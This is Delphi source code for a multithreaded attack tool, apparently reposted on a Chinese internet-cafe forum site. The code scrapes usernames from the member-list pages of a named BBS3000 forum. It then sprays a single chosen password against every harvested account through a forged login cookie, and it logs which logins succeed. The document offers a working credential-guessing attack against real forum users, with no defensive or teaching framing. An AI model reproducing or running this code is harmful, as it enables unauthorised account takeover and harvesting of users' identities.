{===============================}
{ by Lanyus }
{ QQ:231221 }
{ E-Mail:greathjw [at] 163.com }
{===============================}
unit UtMain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, Buttons, IdBaseComponent, IdComponent, UtStart,
IdCookieManager, ScktComp, IdTCPConnection, IdTCPClient, IdHTTP,UtStartGetPW;
//IdTCPConnection, IdTCPClient, IdHTTP, ScktComp, UtgETun, IdCookieManager,IdHeaderList;
type
TFmMain = class(TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
Memo1: TMemo;
IdP: TIdHTTP;
Memo2: TMemo;
IdCookieManager1: TIdCookieManager;
BitBtn3: TBitBtn;
Memo3: TMemo;
TabSheet2: TTabSheet;
BitBtn2: TBitBtn;
Memo4: TMemo;
Memo5: TMemo;
Memo6: TMemo;
BitBtn1: TBitBtn;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
BitBtn4: TBitBtn;
Label4: TLabel;
Edit1: TEdit;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
Edit2: TEdit;
procedure BitBtn3Click(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure BitBtn4Click(Sender: TObject);
private
TST:TStartGetPW;
{ Private declarations }
public
{ Public declarations }
end;
const
MAX_Thread_NO=6; //最大线程数
var
FmMain: TFmMain;
Pages:integer=0;
rs:string;
Start:array[0..MAX_Thread_NO] of TStart;
implementation
{$R *.dfm}
procedure TFmMain.BitBtn3Click(Sender: TObject);
VAR
rs:string;
i:integer;
begin
BitBtn1.Enabled:=True;
Start[0]:=TStart.Create(1,500);
Start[1]:=TStart.Create(501,1000);
Start[2]:=TStart.Create(1001,1500);
Start[3]:=TStart.Create(1501,2000);
Start[4]:=TStart.Create(2001,2500);
Start[5]:=TStart.Create(2501,3000);
Start[6]:=TStart.Create(3001,3464);
end;
procedure TFmMain.BitBtn2Click(Sender: TObject);
var
UNList:TstringList;
begin
tst:=TStartGetPW.create(false);
end;
procedure TFmMain.BitBtn1Click(Sender: TObject); //读取用户暂停
var
i:integer;
begin
for i:=0 to MAX_Thread_NO do
begin
if Start.Suspended then
begin
BitBtn1.Caption:='暂停';
start.Resume;
end
else
begin
BitBtn1.Caption:='继续';
Start.Suspend;
end;
end;
end;
procedure TFmMain.FormCreate(Sender: TObject);
var
i:integer;
begin
for i:=0 to ComponentCount-1 do
begin
if Components is TMemo then TMemo(Components).Clear;
end;
end;
procedure TFmMain.BitBtn4Click(Sender: TObject);
var
i:integer;
begin
if tst.Suspended then
begin
BitBtn4.Caption:='暂停';
tst.Resume;
end
else
begin
BitBtn4.Caption:='继续';
tst.Suspend;
end;
end;
end.
unit UtStartGetPW;
interface
uses
Classes,UtGetuserPsd,sysutils;
type
TStartGetPW = class(TThread)
private
{ Private declarations }
protected
TS:TGetUnserPsd;
procedure Execute; override;
end;
implementation
uses UtMain;
{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure TStartGetPW.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }
{ TStartGetPW }
procedure TStartGetPW.Execute;
var
i:integer;
UNList:TStringList;
begin
freeonterminate:=true;
UNlist:=TStringList.Create;
UNLIST.LoadFromFile('username.txt');
for i:=0 to UNList.Count-1 do
begin
TS:=TGetunserpsd.Create(UNList.Strings,i);
sleep(StrToInt(FmMain.Edit2.Text)); //不要太快,否则打不开网页
end;
{ Place thread code here }
end;
end.
{===============================}
{ by Lanyus }
{ QQ:231221 }
{ E-Mail:greathjw [at] 163.com }
{===============================}
unit UtGetuserPsd;
interface
uses
Classes,Idhttp,IdHeaderList,SysUtils;
type
TGetUnserPsd = class(TThread)
private
{ Private declarations }
protected
UN,pW:STRING;
uid:integer;
idp:TidHttp;
HttpHead:TidHeaderList;
procedure Execute; override;
public
Constructor Create(UserName:string;id:integer);
Destructor Destroy; override;
end;
implementation
uses UtMain;
{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure TGetUnserPsd.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }
{ TGetUnserPsd }
constructor TgetUnserPsd.Create(Username:string;id:integer);
begin
uid:=id;
un:=username;
idp:=Tidhttp.Create(nil);
httpHead:=TidHeaderList.Create;
inherited Create(false);
end;
destructor TgetUnserPsd.Destroy;
begin
idp.Free;
httphead.Free;
inherited destroy;
end;
procedure TGetUnserPsd.Execute;
var
html:string;
begin
freeonterminate:=true;
httpHead.Text:='cookie: nowtime=20060131210233; cometime=21_02_05__21_02_05_0Content-type: text/html; clicks=20060131172355; style=; lasttxt=20060131122028; username='+
un+'; password='+FmMain.Edit1.text+'; xuansave=; estate=; line=; qmh=; bgcolor=';
idp.Request.CustomHeaders:=Httphead;
try
html:=idp.Get('http://www.netxeyes.com/cgi-bin/bbs3000/race.cgi'); //偿试打开骞马页面,如密码正确则能正常打开
except
try
sleep(300);
html:=idp.Get('http://www.netxeyes.com/cgi-bin/bbs3000/race.cgi');
except
FmMain.Memo5.Lines.Add(IntToStr(uid)+' '+un+' idhttp打开网页失败');
Destroy;
exit;
end;
end;
if pos('出错提示',html)>0 then
begin
FmMain.Memo4.Lines.Add(IntToStr(uid)+' '+un+' 登录失败');
end
else
begin
if pos('赛马中心',html)>0 then
begin
FmMain.Memo6.Lines.Add(IntToStr(uid)+' '+un+' 登录成功');
end
else
FmMain.Memo5.Lines.Add(IntToStr(uid)+' '+un+' 返回未知');
end;
Destroy;
{ Place thread code here }
end;
end.
unit UtStart;
interface
uses
Classes,Idhttp,IdHeaderList,SysUtils,UtgETun;
type
TStart = class(TThread)
private
{ Private declarations }
protected
idp:TidHttp;
sn,en:integer;
GETUN:TGetUN;
S:TIdHeaderList;
procedure Execute; override;
public
constructor Create(sns,ens:integer);
destructor Destroy; override;
end;
implementation
uses UtMain;
{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure TStart.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }
{ TStart }
constructor TStart.Create(sns,ens:integer);
begin
sn:=sns;
en:=ens;
s:=TIdHeaderList.Create;
idp:=TidHttp.Create(nil);
inherited Create(false);
end;
destructor TStart.Destroy;
begin
idp.Free;
s.Free;
inherited destroy;
end;
procedure TStart.Execute;
VAR
rs:string;
i:integer;
begin
freeonterminate:=true;
s.Text:='Cookie: nowtime='+formatDateTime('yyyymmddhhmmss',now)+
'; cometime=16_00_59__15_57_58_0; clicks=20020711142129; style=';;
idp.Request.CustomHeaders:=s;
for i:=sn to en do
begin
FmMain.Memo2.Lines.Add(IntToStr(i));
try
rs:=idp.Get('http://bbs.netxeyes.org/cgi-bin/bbs3000/memberlist.cgi?page='+IntToStr(i));
GetUn:=TGetUn.Create(rs); //读取HTML代码后则交给分析用户名线程处理
except
try
sleep(300); //如果打开网页失败则睡眠300MS再继续
rs:=idp.Get('http://bbs.netxeyes.org/cgi-bin/bbs3000/memberlist.cgi?page='+IntToStr(i));
GetUn:=TGetUn.Create(rs);
except
FmMain.Memo3.Lines.Add(IntToStr(i)+'打开网页失败');
continue;
end;
end;
end;
FmMain.Memo3.Lines.Add(IntToStr(sn)+' - '+IntToStr(en)+' 完毕');
Destroy;
{ Place thread code here }
end;
end.
unit UtGetUN;
interface
uses
Classes,SysUtils;
type
TGetUn = class(TThread)
private
{ Private declarations }
protected
rs:string;
procedure Execute; override;
public
constructor Create(rss:string);
destructor Destroy; override;
end;
implementation
USES UtMAIN;
{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure TGetUn.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }
{ TGetUn }
Constructor TGetUn.create(rss:string);
begin
rs:=rss;
inherited Create(false);
end;
destructor TGetUn.Destroy;
begin
inherited Destroy;
end;
procedure TGetUn.Execute;
var
i:integer;
UserName:string;
TF:TextFile;
begin
freeonterminate:=true;
Assign(TF,'Username.txt');
if not FileExists('Username.txt') then
Rewrite(TF)
else
Append(TF);
i:=pos('menu=viewuser&username=',rs);
while i>1 do
begin
delete(rs,1,i+Length('menu=viewuser&username=')-1);
i:=pos(''')>',rs);
Username:=copy(rs,1,i-1);
writeln(TF,Username);
FmMain.Memo1.Lines.Add(Username);
i:=pos('menu=viewuser&username=',rs);
end;
closeFile(tf);
Destroy;
{ Place thread code here }
end;
end
欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛https://bbs.txwb.com |
关注天下网吧微信,了解网吧网咖经营管理,安装维护:
本文来源:赛迪网 作者:佚名